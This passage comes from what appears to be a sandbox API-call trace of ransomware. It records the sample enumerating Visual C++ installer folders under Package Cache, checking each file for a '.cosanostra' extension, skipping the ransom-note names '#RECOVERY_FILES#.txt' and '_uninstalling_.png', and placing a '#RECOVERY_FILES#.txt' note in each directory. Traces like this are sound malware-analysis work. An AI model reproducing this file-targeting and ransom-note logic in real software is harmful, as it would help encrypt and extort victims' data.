pszDest="\\\\?\\C:\\ProgramData\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\vcredist_x86.exe") returned 88 [0082.057] StrStrIW (lpFirst="vcredist_x86.exe", lpSrch=".cosanostra") returned 0x0 [0082.057] lstrcmpW (lpString1="vcredist_x86.exe", lpString2="#RECOVERY_FILES#.txt") returned 1 [0082.057] lstrcmpW (lpString1="vcredist_x86.exe", lpString2="_uninstalling_.png") returned 1 [0082.057] lstrlenW (lpString="\\\\?\\C:\\ProgramData\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\vcredist_x86.exe") returned 88 [0082.057] wnsprintfW (in: pszDest=0x28e120, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\#RECOVERY_FILES#.txt") returned 92 [0082.057] lstrlenW (lpString="\\\\?\\C:\\ProgramData\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\#RECOVERY_FILES#.txt") returned 92 [0082.057] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030") returned 82 [0082.057] lstrcmpW (lpString1="{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030", lpString2=".") returned 1 [0082.057] lstrcmpW (lpString1="{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030", lpString2="..") returned 1 [0082.057] wnsprintfW (in: pszDest=0x28e120, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\ProgramData\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\*") returned 84 [0082.057] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\*", lpFindFileData=0x2cfefa8 | out: lpFindFileData=0x2cfefa8) returned 0x25a7f0 [0082.129] wnsprintfW (in: pszDest=0x28e120, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\.") returned 84 [0082.129] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0082.129] FindNextFileW (in: hFindFile=0x25a7f0, lpFindFileData=0x2cfefa8 | out: lpFindFileData=0x2cfefa8) returned 1 [0082.129] wnsprintfW (in: pszDest=0x28e120, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\..") returned 85 [0082.129] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0082.129] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0082.129] FindNextFileW (in: hFindFile=0x25a7f0, lpFindFileData=0x2cfefa8 | out: lpFindFileData=0x2cfefa8) returned 1 [0082.129] wnsprintfW (in: pszDest=0x28e120, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages") returned 91 [0082.129] lstrcmpW (lpString1="packages", lpString2=".") returned 1 [0082.130] lstrcmpW (lpString1="packages", lpString2="..") returned 1 [0082.131] wnsprintfW (in: pszDest=0x2a0168, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\ProgramData\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages\\*") returned 93 [0082.131] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages\\*", lpFindFileData=0x2cfec08 | out: lpFindFileData=0x2cfec08) returned 0x25a830 [0082.131] wnsprintfW (in: pszDest=0x2a0168, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages\\.") returned 93 [0082.131] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0082.131] FindNextFileW (in: hFindFile=0x25a830, lpFindFileData=0x2cfec08 | out: lpFindFileData=0x2cfec08) returned 1 [0082.131] wnsprintfW (in: pszDest=0x2a0168, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages\\..") returned 94 [0082.131] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0082.132] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0082.132] FindNextFileW (in: hFindFile=0x25a830, lpFindFileData=0x2cfec08 | out: lpFindFileData=0x2cfec08) returned 1 [0082.132] wnsprintfW (in: pszDest=0x2a0168, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages\\vcRuntimeAdditional_amd64") returned 117 [0082.132] lstrcmpW (lpString1="vcRuntimeAdditional_amd64", lpString2=".") returned 1 [0082.132] lstrcmpW (lpString1="vcRuntimeAdditional_amd64", lpString2="..") returned 1 [0082.132] wnsprintfW (in: pszDest=0x2c2dc8, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\ProgramData\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages\\vcRuntimeAdditional_amd64\\*") returned 119 [0082.132] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages\\vcRuntimeAdditional_amd64\\*", lpFindFileData=0x2cfe868 | out: lpFindFileData=0x2cfe868) returned 0x25a870 [0082.132] wnsprintfW (in: pszDest=0x2c2dc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages\\vcRuntimeAdditional_amd64\\.") returned 119 [0082.132] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0082.132] FindNextFileW (in: hFindFile=0x25a870, lpFindFileData=0x2cfe868 | out: lpFindFileData=0x2cfe868) returned 1 [0082.132] wnsprintfW (in: pszDest=0x2c2dc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages\\vcRuntimeAdditional_amd64\\..") returned 120 [0082.132] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0082.132] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0082.132] FindNextFileW (in: hFindFile=0x25a870, lpFindFileData=0x2cfe868 | out: lpFindFileData=0x2cfe868) returned 1 [0082.132] wnsprintfW (in: pszDest=0x2c2dc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages\\vcRuntimeAdditional_amd64\\cab1.cab") returned 126 [0082.132] StrStrIW (lpFirst="cab1.cab", lpSrch=".cosanostra") returned 0x0 [0082.132] lstrcmpW (lpString1="cab1.cab", lpString2="#RECOVERY_FILES#.txt") returned 1 [0082.132] lstrcmpW (lpString1="cab1.cab", lpString2="_uninstalling_.png") returned 1 [0082.132] lstrlenW (lpString="\\\\?\\C:\\ProgramData\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages\\vcRuntimeAdditional_amd64\\cab1.cab") returned 126 [0082.132] wnsprintfW (in: pszDest=0x2c2dc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages\\vcRuntimeAdditional_amd64\\vc_runtimeAdditional_x64.msi") returned 146 [0082.132] StrStrIW (lpFirst="vc_runtimeAdditional_x64.msi", lpSrch=".cosanostra") returned 0x0 [0082.132] lstrcmpW (lpString1="vc_runtimeAdditional_x64.msi", lpString2="#RECOVERY_FILES#.txt") returned 1 [0082.132] lstrcmpW (lpString1="vc_runtimeAdditional_x64.msi", lpString2="_uninstalling_.png") returned 1 [0082.132] lstrlenW (lpString="\\\\?\\C:\\ProgramData\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages\\vcRuntimeAdditional_amd64\\vc_runtimeAdditional_x64.msi") returned 146 [0082.132] wnsprintfW (in: pszDest=0x2c2dc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages\\vcRuntimeAdditional_amd64\\#RECOVERY_FILES#.txt") returned 138 [0082.133] lstrlenW (lpString="\\\\?\\C:\\ProgramData\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages\\vcRuntimeAdditional_amd64\\#RECOVERY_FILES#.txt") returned 138 [0082.134] wnsprintfW (in: pszDest=0x2a0168, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages\\#RECOVERY_FILES#.txt") returned 112 [0082.134] lstrlenW (lpString="\\\\?\\C:\\ProgramData\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages\\#RECOVERY_FILES#.txt") returned 112 [0082.134] wnsprintfW (in: pszDest=0x28e120, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\#RECOVERY_FILES#.txt") returned 103 [0082.135] lstrlenW (lpString="\\\\?\\C:\\ProgramData\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\#RECOVERY_FILES#.txt") returned 103 [0082.135] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}") returned 71 [0082.135] lstrcmpW (lpString1="{3c3aafc8-d898-43ec-998f-965ffdae065a}", lpString2=".") returned 1 [0082.135] lstrcmpW (lpString1="{3c3aafc8-d898-43ec-998f-965ffdae065a}", lpString2="..") returned 1 [0082.136] wnsprintfW (in: pszDest=0x28e120, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\ProgramData\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\*") returned 73 [0082.136] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\*", lpFindFileData=0x2cfefa8 | out: lpFindFileData=0x2cfefa8) returned 0x25a7f0 [0082.138] wnsprintfW (in: pszDest=0x28e120, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\.") returned 73 [0082.138] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0082.138] FindNextFileW (in: hFindFile=0x25a7f0, lpFindFileData=0x2cfefa8 | out: lpFindFileData=0x2cfefa8) returned 1 [0082.138] wnsprintfW (in: pszDest=0x28e120, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\..") returned 74 [0082.138] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0082.138] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0082.138] FindNextFileW (in: hFindFile=0x25a7f0, lpFindFileData=0x2cfefa8 | out: lpFindFileData=0x2cfefa8) returned 1 [0082.138] wnsprintfW (in: pszDest=0x28e120, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\state.rsm") returned 81 [0082.138] StrStrIW (lpFirst="state.rsm", lpSrch=".cosanostra") returned 0x0 [0082.138] lstrcmpW (lpString1="state.rsm", lpString2="#RECOVERY_FILES#.txt") returned 1 [0082.138] lstrcmpW (lpString1="state.rsm", lpString2="_uninstalling_.png") returned 1 [0082.138] lstrlenW (lpString="\\\\?\\C:\\ProgramData\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\state.rsm") returned 81 [0082.138] wnsprintfW (in: pszDest=0x28e120, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\vcredist_x64.exe") returned 88 [0082.138] StrStrIW (lpFirst="vcredist_x64.exe", lpSrch=".cosanostra") returned 0x0 [0082.138] lstrcmpW (lpString1="vcredist_x64.exe", lpString2="#RECOVERY_FILES#.txt") returned 1 [0082.138] lstrcmpW (lpString1="vcredist_x64.exe", lpString2="_uninstalling_.png") returned 1 [0082.138] lstrlenW (lpString="\\\\?\\C:\\ProgramData\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\vcredist_x64.exe") returned 88 [0082.139] wnsprintfW (in: pszDest=0x28e120, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\#RECOVERY_FILES#.txt") returned 92 [0082.139] lstrlenW (lpString="\\\\?\\C:\\ProgramData\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\#RECOVERY_FILES#.txt") returned 92 [0082.139] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017") returned 83 [0082.139] lstrcmpW (lpString1="{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017", lpString2=".") returned 1 [0082.139] lstrcmpW (lpString1="{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017", lpString2="..") returned 1 [0082.139] wnsprintfW (in: pszDest=0x28e120, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\ProgramData\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\*") returned 85 [0082.139] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\*", lpFindFileData=0x2cfefa8 | out: lpFindFileData=0x2cfefa8) returned 0x25a7f0 [0082.139] wnsprintfW (in: pszDest=0x28e120, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\.") returned 85 [0082.139] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0082.139] FindNextFileW (in: hFindFile=0x25a7f0, lpFindFileData=0x2cfefa8 | out: lpFindFileData=0x2cfefa8) returned 1 [0082.139] wnsprintfW (in: pszDest=0x28e120, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\..") returned 86 [0082.139] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0082.139] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0082.139] FindNextFileW (in: hFindFile=0x25a7f0, lpFindFileData=0x2cfefa8 | out: lpFindFileData=0x2cfefa8) returned 1 [0082.139] wnsprintfW (in: pszDest=0x28e120, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\packages") returned 92 [0082.139] lstrcmpW (lpString1="packages", lpString2=".") returned 1 [0082.139] lstrcmpW (lpString1="packages", lpString2="..") returned 1 [0082.140] wnsprintfW (in: pszDest=0x2a0168, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\ProgramData\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\packages\\*") returned 94 [0082.140] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\packages\\*", lpFindFileData=0x2cfec08 | out: lpFindFileData=0x2cfec08) returned 0x25a830 [0082.140] wnsprintfW (in: pszDest=0x2a0168, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\packages\\.") returned 94 [0082.140] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0082.140] FindNextFileW (in: hFindFile=0x25a830, lpFindFileData=0x2cfec08 | out: lpFindFileData=0x2cfec08) returned 1 [0082.140] wnsprintfW (in: pszDest=0x2a0168, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\packages\\..") returned 95 [0082.140] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0082.140] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0082.140] FindNextFileW (in: hFindFile=0x25a830, lpFindFileData=0x2cfec08 | out: lpFindFileData=0x2cfec08) returned 1 [0082.140] wnsprintfW (in: pszDest=0x2a0168, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\packages\\vcRuntimeMinimum_x86") returned 113 [0082.140] lstrcmpW (lpString1="vcRuntimeMinimum_x86", lpString2=".") returned 1 [0082.140] lstrcmpW (lpString1="vcRuntimeMinimum_x86", lpString2="..") returned 1 [0082.141] wnsprintfW (in: pszDest=0x2c2dc8, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\ProgramData\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\packages\\vcRuntimeMinimum_x86\\*") returned 115 [0082.141] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\packages\\vcRuntimeMinimum_x86\\*", lpFindFileData=0x2cfe868 | out: lpFindFileData=0x2cfe868) returned 0x25a870 [0082.141] wnsprintfW (in: pszDest=0x2c2dc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\packages\\vcRuntimeMinimum_x86\\.") returned 115 [0082.142] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0082.142] FindNextFileW (in: hFindFile=0x25a870, lpFindFileData=0x2cfe868 | out: lpFindFileData=0x2cfe868) returned 1 [0082.142] wnsprintfW (in: pszDest=0x2c2dc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\packages\\vcRuntimeMinimum_x86\\..") returned 116 [0082.142] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0082.142] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0082.142] FindNextFileW (in: hFindFile=0x25a870, lpFindFileData=0x2cfe868 | out: lpFindFileData=0x2cfe868) returned 1 [0082.142] wnsprintfW (in: pszDest=0x2c2dc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\packages\\vcRuntimeMinimum_x86\\cab1.cab") returned 122 [0082.142] StrStrIW (lpFirst="cab1.cab", lpSrch=".cosanostra") returned 0x0 [0082.142] lstrcmpW (lpString1="cab1.cab", lpString2="#RECOVERY_FILES#.txt") returned 1 [0082.142] lstrcmpW (lpString1="cab1.cab", lpString2="_uninstalling_.png") returned 1 [0082.142] lstrlenW (lpString="\\\\?\\C:\\ProgramData\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\packages\\vcRuntimeMinimum_x86\\cab1.cab") returned 122 [0082.142] wnsprintfW (in: pszDest=0x2c2dc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\packages\\vcRuntimeMinimum_x86\\vc_runtimeMinimum_x86.msi") returned 139 [0082.142] StrStrIW (lpFirst="vc_runtimeMinimum_x86.msi", lpSrch=".cosanostra") returned 0x0 [0082.142] lstrcmpW (lpString1="vc_runtimeMinimum_x86.msi", lpString2="#RECOVERY_FILES#.txt") returned 1 [0082.142] lstrcmpW (lpString1="vc_runtimeMinimum_x86.msi", lpString2="_uninstalling_.png") returned 1 [0082.143] lstrlenW (lpString="\\\\?\\C:\\ProgramData\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\packages\\vcRuntimeMinimum_x86\\vc_runtimeMinimum_x86.msi") returned 139 [0082.143] wnsprintfW (in: pszDest=0x2c2dc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\packages\\vcRuntimeMinimum_x86\\#RECOVERY_FILES#.txt") returned 134 [0082.143] lstrlenW (lpString="\\\\?\\C:\\ProgramData\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\packages\\vcRuntimeMinimum_x86\\#RECOVERY_FILES#.txt") returned 134 [0082.143] wnsprintfW (in: pszDest=0x2a0168, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\packages\\#RECOVERY_FILES#.txt") returned 113 [0082.143] lstrlenW (lpString="\\\\?\\C:\\ProgramData\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\packages\\#RECOVERY_FILES#.txt") returned 113 [0082.144] wnsprintfW (in: pszDest=0x28e120, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\#RECOVERY_FILES#.txt") returned 104 [0082.144] lstrlenW (lpString="\\\\?\\C:\\ProgramData\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\#RECOVERY_FILES#.txt") returned 104 [0082.145] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017") returned 83 [0082.145] lstrcmpW (lpString1="{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017", lpString2=".") returned 1 [0082.145] lstrcmpW (lpString1="{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017", lpString2="..") returned 1 [0082.145] wnsprintfW (in: pszDest=0x28e120, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\ProgramData\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\*") returned 85 [0082.145] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\*", lpFindFileData=0x2cfefa8 | out: lpFindFileData=0x2cfefa8) returned 0x25a7f0 [0082.146] wnsprintfW (in: pszDest=0x28e120, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\.") returned 85 [0082.146] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0082.146] FindNextFileW (in: hFindFile=0x25a7f0, lpFindFileData=0x2cfefa8 | out: lpFindFileData=0x2cfefa8) returned 1 [0082.147] wnsprintfW (in: pszDest=0x28e120, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\..") returned 86 [0082.147] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0082.147] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0082.147] FindNextFileW (in: hFindFile=0x25a7f0, lpFindFileData=0x2cfefa8 | out: lpFindFileData=0x2cfefa8) returned 1 [0082.147] wnsprintfW (in: pszDest=0x28e120, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages") returned 92 [0082.147] lstrcmpW (lpString1="packages", lpString2=".") returned 1 [0082.147] lstrcmpW (lpString1="packages", lpString2="..") returned 1 [0082.147] wnsprintfW (in: pszDest=0x2a0168, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\ProgramData\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages\\*") returned 94 [0082.147] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages\\*", lpFindFileData=0x2cfec08 | out: lpFindFileData=0x2cfec08) returned 0x25a830 [0082.147] wnsprintfW (in: pszDest=0x2a0168, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages\\.") returned 94 [0082.147] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0082.147] FindNextFileW (in: hFindFile=0x25a830, lpFindFileData=0x2cfec08 | out: lpFindFileData=0x2cfec08) returned 1 [0082.148] wnsprintfW (in: pszDest=0x2a0168, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages\\..") returned 95 [0082.148] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0082.148] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0082.148] FindNextFileW (in: hFindFile=0x25a830, lpFindFileData=0x2cfec08 | out: lpFindFileData=0x2cfec08) returned 1 [0082.148] wnsprintfW (in: pszDest=0x2a0168, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages\\vcRuntimeAdditional_x86") returned 116 [0082.148] lstrcmpW (lpString1="vcRuntimeAdditional_x86", lpString2=".") returned 1 [0082.148] lstrcmpW (lpString1="vcRuntimeAdditional_x86", lpString2="..") returned 1 [0082.148] wnsprintfW (in: pszDest=0x2c2dc8, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\ProgramData\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages\\vcRuntimeAdditional_x86\\*") returned 118 [0082.149] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages\\vcRuntimeAdditional_x86\\*", lpFindFileData=0x2cfe868 | out: lpFindFileData=0x2cfe868) returned 0x25a870 [0082.149] wnsprintfW (in: pszDest=0x2c2dc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages\\vcRuntimeAdditional_x86\\.") returned 118 [0082.149] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0082.149] FindNextFileW (in: hFindFile=0x25a870, lpFindFileData=0x2cfe868 | out: lpFindFileData=0x2cfe868) returned 1 [0082.149] wnsprintfW (in: pszDest=0x2c2dc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages\\vcRuntimeAdditional_x86\\..") returned 119 [0082.149] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0082.149] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0082.149] FindNextFileW (in: hFindFile=0x25a870, lpFindFileData=0x2cfe868 | out: lpFindFileData=0x2cfe868) returned 1 [0082.149] wnsprintfW (in: pszDest=0x2c2dc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages\\vcRuntimeAdditional_x86\\cab1.cab") returned 125 [0082.149] StrStrIW (lpFirst="cab1.cab", lpSrch=".cosanostra") returned 0x0 [0082.149] lstrcmpW (lpString1="cab1.cab", lpString2="#RECOVERY_FILES#.txt") returned 1 [0082.149] lstrcmpW (lpString1="cab1.cab", lpString2="_uninstalling_.png") returned 1 